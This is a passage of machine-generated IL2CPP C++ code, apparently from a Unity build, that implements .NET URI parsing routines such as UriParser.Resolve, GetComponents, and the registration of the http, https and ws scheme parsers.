argument*/NULL); return (bool)((((int32_t)((((int32_t)L_3) < ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); } } // System.Void System.UriHelper::.cctor() extern "C" IL2CPP_METHOD_ATTR void UriHelper__cctor_m9537B8AAAA1D6EF77D29A179EC79F5511C662F27 (const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper__cctor_m9537B8AAAA1D6EF77D29A179EC79F5511C662F27_MetadataUsageId); s_Il2CppMethodInitialized = true; } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_0 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)SZArrayNew(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2_il2cpp_TypeInfo_var, (uint32_t)((int32_t)16)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_1 = L_0; RuntimeFieldHandle_t844BDF00E8E6FE69D9AEAA7657F09018B864F4EF L_2 = { reinterpret_cast<intptr_t> (U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291____59F5BD34B6C013DEACC784F69C67E95150033A84_0_FieldInfo_var) }; RuntimeHelpers_InitializeArray_m29F50CDFEEE0AB868200291366253DD4737BC76A((RuntimeArray *)(RuntimeArray *)L_1, L_2, /*hidden argument*/NULL); ((UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_StaticFields*)il2cpp_codegen_static_fields_for(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var))->set_HexUpperChars_0(L_1); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.String System.UriParser::get_SchemeName() extern "C" IL2CPP_METHOD_ATTR String_t* UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method) { { String_t* L_0 = __this->get_m_Scheme_6(); return L_0; } } // System.Int32 System.UriParser::get_DefaultPort() extern "C" IL2CPP_METHOD_ATTR int32_t UriParser_get_DefaultPort_m050510870CCD4DD08DF7E98E2AF3D616446AD99D (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method) { { int32_t L_0 = __this->get_m_Port_5(); return L_0; } } // System.UriParser System.UriParser::OnNewUri() extern "C" IL2CPP_METHOD_ATTR UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * UriParser_OnNewUri_m7D55337A7A9B6B67FB0AD7CA96F472751EF5A897 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method) { { return __this; } } // System.Void System.UriParser::InitializeAndValidate(System.Uri,System.UriFormatExceptionU26) extern "C" IL2CPP_METHOD_ATTR void UriParser_InitializeAndValidate_m3E31D86FEE445E313BB7141F760626301767A0E0 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___uri0, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** ___parsingError1, const RuntimeMethod* method) { { UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** L_0 = ___parsingError1; Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_1 = ___uri0; NullCheck(L_1); UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_2 = Uri_ParseMinimal_m35FCFE52F12315DA60733B807E7C0AB408C0A9CF(L_1, /*hidden argument*/NULL); *((RuntimeObject **)L_0) = (RuntimeObject *)L_2; Il2CppCodeGenWriteBarrier((RuntimeObject **)L_0, (RuntimeObject *)L_2); return; } } // System.String System.UriParser::Resolve(System.Uri,System.Uri,System.UriFormatExceptionU26) extern "C" IL2CPP_METHOD_ATTR String_t* UriParser_Resolve_mF21D3AA42AB1EC2B173617D76E4041EB3481D979 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___baseUri0, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___relativeUri1, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** ___parsingError2, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriParser_Resolve_mF21D3AA42AB1EC2B173617D76E4041EB3481D979_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; bool V_1 = false; Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * V_2 = NULL; { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_0 = ___baseUri0; NullCheck(L_0); bool L_1 = Uri_get_UserDrivenParsing_mFF27964894B5C0432C37E425F319D6C915BCDC39(L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_002c; } } { ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* L_2 = (ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A*)SZArrayNew(ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A_il2cpp_TypeInfo_var, (uint32_t)1); ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* L_3 = L_2; Type_t * L_4 = Object_GetType_m2E0B62414ECCAA3094B703790CE88CBB2F83EA60(__this, /*hidden argument*/NULL); NullCheck(L_4); String_t* L_5 = VirtFuncInvoker0< String_t* >::Invoke(25 /* System.String System.Type::get_FullName() */, L_4); NullCheck(L_3); ArrayElementTypeCheck (L_3, L_5); (L_3)->SetAt(static_cast<il2cpp_array_size_t>(0), (RuntimeObject *)L_5); String_t* L_6 = SR_GetString_m9548BD6DD52DFDB46372F211078AE57FA2401E39(_stringLiteral685AA46800DA1134A27CF09D92AB8FB9481ABE68, L_3, /*hidden argument*/NULL); InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 * L_7 = (InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 *)il2cpp_codegen_object_new(InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1_il2cpp_TypeInfo_var); InvalidOperationException__ctor_m72027D5F1D513C25C05137E203EEED8FD8297706(L_7, L_6, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_7, NULL, UriParser_Resolve_mF21D3AA42AB1EC2B173617D76E4041EB3481D979_RuntimeMethod_var); } IL_002c: { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_8 = ___baseUri0; NullCheck(L_8); bool L_9 = Uri_get_IsAbsoluteUri_m8C189085F1C675DBC3148AA70C38074EC075D722(L_8, /*hidden argument*/NULL); if (L_9) { goto IL_0044; } } { String_t* L_10 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral12B6FF7C47BB4C2C973EF6E38B06B1AD0DACA96F, /*hidden argument*/NULL); InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 * L_11 = (InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 *)il2cpp_codegen_object_new(InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1_il2cpp_TypeInfo_var); InvalidOperationException__ctor_m72027D5F1D513C25C05137E203EEED8FD8297706(L_11, L_10, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_11, NULL, UriParser_Resolve_mF21D3AA42AB1EC2B173617D76E4041EB3481D979_RuntimeMethod_var); } IL_0044: { V_0 = (String_t*)NULL; V_1 = (bool)0; Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_12 = ___baseUri0; Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_13 = ___relativeUri1; UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** L_14 = ___parsingError2; IL2CPP_RUNTIME_CLASS_INIT(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var); Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_15 = Uri_ResolveHelper_mEDF1549C3E9AC1CF6177DCF93B17D574411916BC(L_12, L_13, (String_t**)(&V_0), (bool*)(&V_1), (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A **)L_14, /*hidden argument*/NULL); V_2 = L_15; UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** L_16 = ___parsingError2; UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_17 = *((UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A **)L_16); if (!L_17) { goto IL_005b; } } { return (String_t*)NULL; } IL_005b: { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_18 = V_2; IL2CPP_RUNTIME_CLASS_INIT(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var); bool L_19 = Uri_op_Inequality_m07015206F59460E87CDE2A8D303D5712E30A7F6B(L_18, (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E *)NULL, /*hidden argument*/NULL); if (!L_19) { goto IL_006b; } } { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_20 = V_2; NullCheck(L_20); String_t* L_21 = Uri_get_OriginalString_m56099E46276F0A52524347F1F46A2F88E948504F(L_20, /*hidden argument*/NULL); return L_21; } IL_006b: { String_t* L_22 = V_0; return L_22; } } // System.String System.UriParser::GetComponents(System.Uri,System.UriComponents,System.UriFormat) extern "C" IL2CPP_METHOD_ATTR String_t* UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___uri0, int32_t ___components1, int32_t ___format2, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_MetadataUsageId); s_Il2CppMethodInitialized = true; } { int32_t L_0 = ___components1; if (!((int32_t)((int32_t)L_0&(int32_t)((int32_t)-2147483648LL)))) { goto IL_002c; } } { int32_t L_1 = ___components1; if ((((int32_t)L_1) == ((int32_t)((int32_t)-2147483648LL)))) { goto IL_002c; } } { int32_t L_2 = ___components1; int32_t L_3 = L_2; RuntimeObject * L_4 = Box(UriComponents_tE42D5229291668DE73323E1C519E4E1459A64CFF_il2cpp_TypeInfo_var, &L_3); String_t* L_5 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral4931F5B26E4E3B67A69DCEAE7622810683E83201, /*hidden argument*/NULL); ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA * L_6 = (ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA *)il2cpp_codegen_object_new(ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA_il2cpp_TypeInfo_var); ArgumentOutOfRangeException__ctor_m755B01B4B4595B447596E3281F22FD7CE6DAE378(L_6, _stringLiteralC212F08ED1157AE268FD83D142AFD5CCD48664B2, L_4, L_5, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_6, NULL, UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_RuntimeMethod_var); } IL_002c: { int32_t L_7 = ___format2; if (!((int32_t)((int32_t)L_7&(int32_t)((int32_t)-4)))) { goto IL_003d; } } { ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA * L_8 = (ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA *)il2cpp_codegen_object_new(ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA_il2cpp_TypeInfo_var); ArgumentOutOfRangeException__ctor_m6B36E60C989DC798A8B44556DB35960282B133A6(L_8, _stringLiteral785987648F85190CFDE9EADC69FC7C46FE8A7433, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_8, NULL, UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_RuntimeMethod_var); } IL_003d: { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_9 = ___uri0; NullCheck(L_9); bool L_10 = Uri_get_UserDrivenParsing_mFF27964894B5C0432C37E425F319D6C915BCDC39(L_9, /*hidden argument*/NULL); if (!L_10) { goto IL_0069; } } { ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* L_11 = (ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A*)SZArrayNew(ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A_il2cpp_TypeInfo_var, (uint32_t)1); ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* L_12 = L_11; Type_t * L_13 = Object_GetType_m2E0B62414ECCAA3094B703790CE88CBB2F83EA60(__this, /*hidden argument*/NULL); NullCheck(L_13); String_t* L_14 = VirtFuncInvoker0< String_t* >::Invoke(25 /* System.String System.Type::get_FullName() */, L_13); NullCheck(L_12); ArrayElementTypeCheck (L_12, L_14); (L_12)->SetAt(static_cast<il2cpp_array_size_t>(0), (RuntimeObject *)L_14); String_t* L_15 = SR_GetString_m9548BD6DD52DFDB46372F211078AE57FA2401E39(_stringLiteral685AA46800DA1134A27CF09D92AB8FB9481ABE68, L_12, /*hidden argument*/NULL); InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 * L_16 = (InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 *)il2cpp_codegen_object_new(InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1_il2cpp_TypeInfo_var); InvalidOperationException__ctor_m72027D5F1D513C25C05137E203EEED8FD8297706(L_16, L_15, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_16, NULL, UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_RuntimeMethod_var); } IL_0069: { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_17 = ___uri0; NullCheck(L_17); bool L_18 = Uri_get_IsAbsoluteUri_m8C189085F1C675DBC3148AA70C38074EC075D722(L_17, /*hidden argument*/NULL); if (L_18) { goto IL_0081; } } { String_t* L_19 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral12B6FF7C47BB4C2C973EF6E38B06B1AD0DACA96F, /*hidden argument*/NULL); InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 * L_20 = (InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 *)il2cpp_codegen_object_new(InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1_il2cpp_TypeInfo_var); InvalidOperationException__ctor_m72027D5F1D513C25C05137E203EEED8FD8297706(L_20, L_19, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_20, NULL, UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_RuntimeMethod_var); } IL_0081: { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_21 = ___uri0; int32_t L_22 = ___components1; int32_t L_23 = ___format2; NullCheck(L_21); String_t* L_24 = Uri_GetComponentsHelper_m28B0D80FD94A40685C0F70652AB26755C457B2D3(L_21, L_22, L_23, /*hidden argument*/NULL); return L_24; } } // System.Boolean System.UriParser::get_ShouldUseLegacyV2Quirks() extern "C" IL2CPP_METHOD_ATTR bool UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD (const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); int32_t L_0 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_s_QuirksVersion_23(); return (bool)((((int32_t)((((int32_t)L_0) > ((int32_t)2))? 1 : 0)) == ((int32_t)0))? 1 : 0); } } // System.Void System.UriParser::.cctor() extern "C" IL2CPP_METHOD_ATTR void UriParser__cctor_m00C2855D5C8C07790C5627BBB90AC84A7E8B6BC2 (const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriParser__cctor_m00C2855D5C8C07790C5627BBB90AC84A7E8B6BC2_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t G_B3_0 = 0; int32_t G_B5_0 = 0; int32_t G_B4_0 = 0; int32_t G_B6_0 = 0; int32_t G_B6_1 = 0; int32_t G_B8_0 = 0; int32_t G_B7_0 = 0; int32_t G_B9_0 = 0; int32_t G_B9_1 = 0; { IL2CPP_RUNTIME_CLASS_INIT(BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_il2cpp_TypeInfo_var); bool L_0 = ((BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_StaticFields*)il2cpp_codegen_static_fields_for(BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_il2cpp_TypeInfo_var))->get_TargetsAtLeast_Desktop_V4_5_0(); if (L_0) { goto IL_000a; } } { G_B3_0 = 2; goto IL_000b; } IL_000a: { G_B3_0 = 3; } IL_000b: { ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_s_QuirksVersion_23(G_B3_0); bool L_1 = UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD(/*hidden argument*/NULL); G_B4_0 = ((int32_t)31461245); if (L_1) { G_B5_0 = ((int32_t)31461245); goto IL_001f; } } { G_B6_0 = 0; G_B6_1 = G_B4_0; goto IL_0024; } IL_001f: { G_B6_0 = ((int32_t)33554432); G_B6_1 = G_B5_0; } IL_0024: { ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_HttpSyntaxFlags_24(((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)G_B6_1|(int32_t)G_B6_0))|(int32_t)((int32_t)67108864)))|(int32_t)((int32_t)268435456)))); bool L_2 = UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD(/*hidden argument*/NULL); G_B7_0 = ((int32_t)4049); if (L_2) { G_B8_0 = ((int32_t)4049); goto IL_0046; } } { G_B9_0 = ((int32_t)32); G_B9_1 = G_B7_0; goto IL_0047; } IL_0046: { G_B9_0 = 0; G_B9_1 = G_B8_0; } IL_0047: { ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_FileSyntaxFlags_25(((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)G_B9_1|(int32_t)G_B9_0))|(int32_t)((int32_t)8192)))|(int32_t)((int32_t)2097152)))|(int32_t)((int32_t)1048576)))|(int32_t)((int32_t)4194304)))|(int32_t)((int32_t)8388608)))|(int32_t)((int32_t)16777216)))|(int32_t)((int32_t)33554432)))|(int32_t)((int32_t)67108864)))|(int32_t)((int32_t)268435456)))); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_3 = (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *)il2cpp_codegen_object_new(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_il2cpp_TypeInfo_var); Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445(L_3, ((int32_t)25), /*hidden argument*/Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445_RuntimeMethod_var); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_m_Table_0(L_3); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_4 = (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *)il2cpp_codegen_object_new(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_il2cpp_TypeInfo_var); Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445(L_4, ((int32_t)25), /*hidden argument*/Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445_RuntimeMethod_var); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_m_TempTable_1(L_4); int32_t L_5 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpSyntaxFlags_24(); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_6 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_6, _stringLiteral77B5F8E343A90F6F597751021FB8B7A08FE83083, ((int32_t)80), L_5, /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_HttpUri_7(L_6); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_7 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_8 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpUri_7(); NullCheck(L_8); String_t* L_9 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_8, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_10 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpUri_7(); NullCheck(L_7); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_7, L_9, L_10, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_11 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpUri_7(); NullCheck(L_11); int32_t L_12 = L_11->get_m_Flags_2(); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_13 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_13, _stringLiteralC3437DBC7C1255D3A21D444D86EBF2E9234C22BD, ((int32_t)443), L_12, /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_HttpsUri_8(L_13); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_14 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_15 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpsUri_8(); NullCheck(L_15); String_t* L_16 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_15, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_17 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpsUri_8(); NullCheck(L_14); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_14, L_16, L_17, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); int32_t L_18 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_HttpSyntaxFlags_24(); BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_19 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_19, _stringLiteral1457B75DC8C5500C0F1D4503CF801B60DEB045A4, ((int32_t)80), L_18, /*hidden argument*/NULL); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_WsUri_9(L_19); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_20 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC 